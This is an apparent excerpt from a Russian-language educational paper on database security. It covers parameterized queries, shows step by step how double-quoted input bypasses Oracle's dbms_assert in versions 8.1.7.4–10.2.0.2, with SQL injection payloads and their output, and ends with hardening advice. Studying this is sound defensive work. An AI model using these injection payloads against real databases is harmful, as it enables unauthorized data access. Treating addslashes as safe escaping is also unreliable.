Файл: Служба безопасности и аутентификации баз данных.pdf

2.6. Использование параметризованных запросов.

Многие сервера баз данных поддерживают возможность отправки параметризованных запросов. При этом параметры внешнего происхождения отправляются на сервер отдельно от самого запроса либо автоматически экранируются клиентской библиотекой. Для этого используются

• на Delphi — свойство TQuery.Params;

Например var sql, param : string; begin sql := 'select :text as value from dual';

param := 'alpha'; Query1.Sql.Text := sql; Query1.ParamByName('text').AsString := param;

Query1.Open; ShowMessage(Query1['value']); end;

• на Perl — через DBI::quote или DBI::prepare;
• на Java — через класс PreparedStatement;
• на C# — свойство SqlCommand.Parameters;
• на PHP (при работе с MySQL) — функции mysql_escape_string, mysql_real_escape_string, addslashes.
• на Parser — язык сам предотвращает атаки подобного рода.

2.7. Обход Oracle dbms_assert.

Используя специально сформированные параметры (в двойных кавычках) можно обойти проверку правильности пакета dbms_assert и внедрить SQL код. Уязвимость можно эксплуатировать в большинстве версий Oralce (8.1.7.4 – 10.2.0.2), исправление появилось только в июле 2006 года.
Для защиты пакетов Oracle PL/SQL от большого количества SQL инъекции, Oracle разработал новый пакет пол названием dbms_assert в Oracle 10g Release 2. Этот пакет был ретропортирован с Oracle Critical Patch Update (CPU) в октябре 2005 года на все поддерживаемые базы данных (с 8.1.7.4 до 10.1.0.5).

По порядку:

DBMS_ASSERT - PL/SQL пакет, который содержит следующие функции:
ENQUOTE_LITERALENQUOTE_NAMENOOPQUALIFIED_SQL_NAMESCHEMA_NAMESIMPLE_SQL_NAMESQL_OBJECT_NAME
Подробное объяснение этих функций и их использовании может быть найдено в статье.
Если удастся обойти проверку правильности пользовательских данных одной из этих функций, то станет возможным выполнение нападений SQL инъекции против множества уязвимых PL/SQL процедур и функций, которые легко обнаружить в полностью залатанных версиях Oracle (8.1.7.4 до 10.2.0.2 с CPU July 2006), используя поиск нужной строки в распакованном PL/SQL коде. О способах распаковки PL/SQL (+ простой PoC), было рассказано Пете Финнигангом на конференции Black Hat 2006.
Начнем с некоторыми простыми PL/SQL примерами.
Процедура PL/SQL принимает параметр TABLENAME и привязывает этот параметр к динамическому SQL оператору. Этот SQL оператор будет выполнен непосредственно при запуске. Уязвимое решение без dbms_assert:

CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) ISBEGINdbms_output.put_line(' SQL=select count(*) from all_tableswhere table_name='''|| TABLENAME||'''');EXECUTE IMMEDIATE 'select count(*) from all_tables wheretable_name='''|| TABLENAME ||'''';END test1;/Procedure created.
Теперь мы используем обычное имя таблицы в качестве параметра:
SQL> exec test1('CAT');SQL=select count(*) from all_tables where table_name='CAT'PL/SQL procedure successfully completed.
Так как этот параметр не проверяется¸ мы можем внедрить PL/SQL код, например “or 1=1--"
SQL> exec test1('CAT'' or 1=1--');SQL=select count(*) from all_tables where table_name='CAT' or1=1--'PL/SQL procedure successfully completed.
Решение с dbms_assert (все еще уязвимо): Теперь мы можем проверить пользовательские данные с dbms_assert.qualified_sql_name. Oracle использует этот подход несколько раз во внутреннем PL/SQL коде.
CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) ISVERIFY_TAB VARCHAR2(64);BEGINVERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);dbms_output.put_line('ASSERT result='||VERIFY_TAB);dbms_output.put_line('SQL=select count(*) from all_tableswhere table_name='''|| VERIFY_TAB ||'''');EXECUTE IMMEDIATE 'select count(*) from all_tables wheretable_name='''||VERIFY_TAB||'''';END test2;/Procedure created.
Мы передаем нашу таблицу CAT как параметр, и все работает как и ожидалось:
SQL> exec test2('CAT');ASSERT result=CATSQL=select count(*) from all_tables where table_name='CAT'PL/SQL procedure successfully completed.
Теперь давайте попытаемся внедрить дополнительный код. На сей раз dbms_assert.qualified_sql_name отобразит ошибку, и динамический код не будет выполнен.
SQL> exec test2('CAT'' or 1=1--');BEGIN test2('CAT'' or 1=1--'); END;*ERROR at line 1:ORA-06502: PL/SQL: numeric or value errorORA-06512: at "SYS.DBMS_ASSERT", line 206ORA-06512: at "USER1.TEST2", line 5ORA-06512: at line 1
Теперь вводим название объекта в двойных кавычках в нашу процедуру:
SQL> exec test2('"CAT'' or 1=1--"');ASSERT result="CAT' or 1=1--"SQL=select count(*) from all_tables where table_name='"CAT' or1=1--"'PL/SQL procedure successfully completed.
И, как не странно, это работает..
dbms_assert.qualified_sql_name пропускает проверку правильности, если параметр заключен в двойные кавычки. Если вы используете DBMS_ASSERT.sql_object_name, вы должны создать сначала объект, например CREATE TABLE " ' or 1=1-- ".
Злоумышленник может использовать эту методику (двойные кавычки около параметров), чтобы обойти dbms_assert. Об этой уязвимости, и некоторых связанных ошибок безопасности, было сообщено компании Oracle в Апреле 2006 года.

Агрегирование - это метод получения новой информации путем комбинирования данных, добытых легальным образом из различных таблиц. Агрегированная информация может оказаться более секретной, чем каждый из компонентов, ее составивший. В качестве примера можно рассмотреть базу данных, хранящую параметры всех комплектующих, из которых будет собираться ракета, и инструкцию по сборке. Данные о каждом виде комплектующих необходимы поставщикам, инструкция по сборке (вставьте деталь A в отверстие B) - сборочному производству.
Информация об отдельных частях сама по себе не является секретной (какой смысл скрывать материал, размеры и количество гаек?). В то же время анализ всей базы позволяет узнать, как сделать ракету, что может считаться государственной тайной.
Повышение уровня секретности данных при агрегировании вполне естественно - это следствие закона перехода количества в качество. Бороться с агрегированием можно за счет тщательного проектирования модели данных и максимального ограничения доступа пользователей к информации.

Заключение

Конфигурация, к которой имеет доступ хотя бы один программист, не может считаться безопасной. Поэтому обеспечение информационной безопасности баз данных - дело весьма сложное во многом в силу самой природы реляционных СУБД.
Помимо систематического применения всего арсенала средств, описанных в настоящей работе, необходимо использование административных и процедурных мер. Только тогда можно рассчитывать на успех в деле по обеспечению информационной безопасности современных серверов баз данных. Таким образом можно придерживаться следующих рекомендаций по защите СУБД:

1. Установить пароль на доступ к сервису TNS Listener

2. Использовать не словарные, трудно угадываемые имена баз данных (SID)

3. Провести анализ используемых учетных записей: удалить или отключить неиспользуемые и сменить стандартные пароли системных учетных записей

4. Включить блокирование учётных записей после многократного ввода

неправильного пароля

5. Установить последние критические обновления, или хотя бы ограничить доступ пользователям на запуск потенциально опасных процедур

6. Проанализировать привилегии и роли пользователей и оставить только

самые необходимые, руководствуясь хорошо известным принципом наименьших привилегий

7. Отключить возможности доступа пользователей Oracle к файловой системе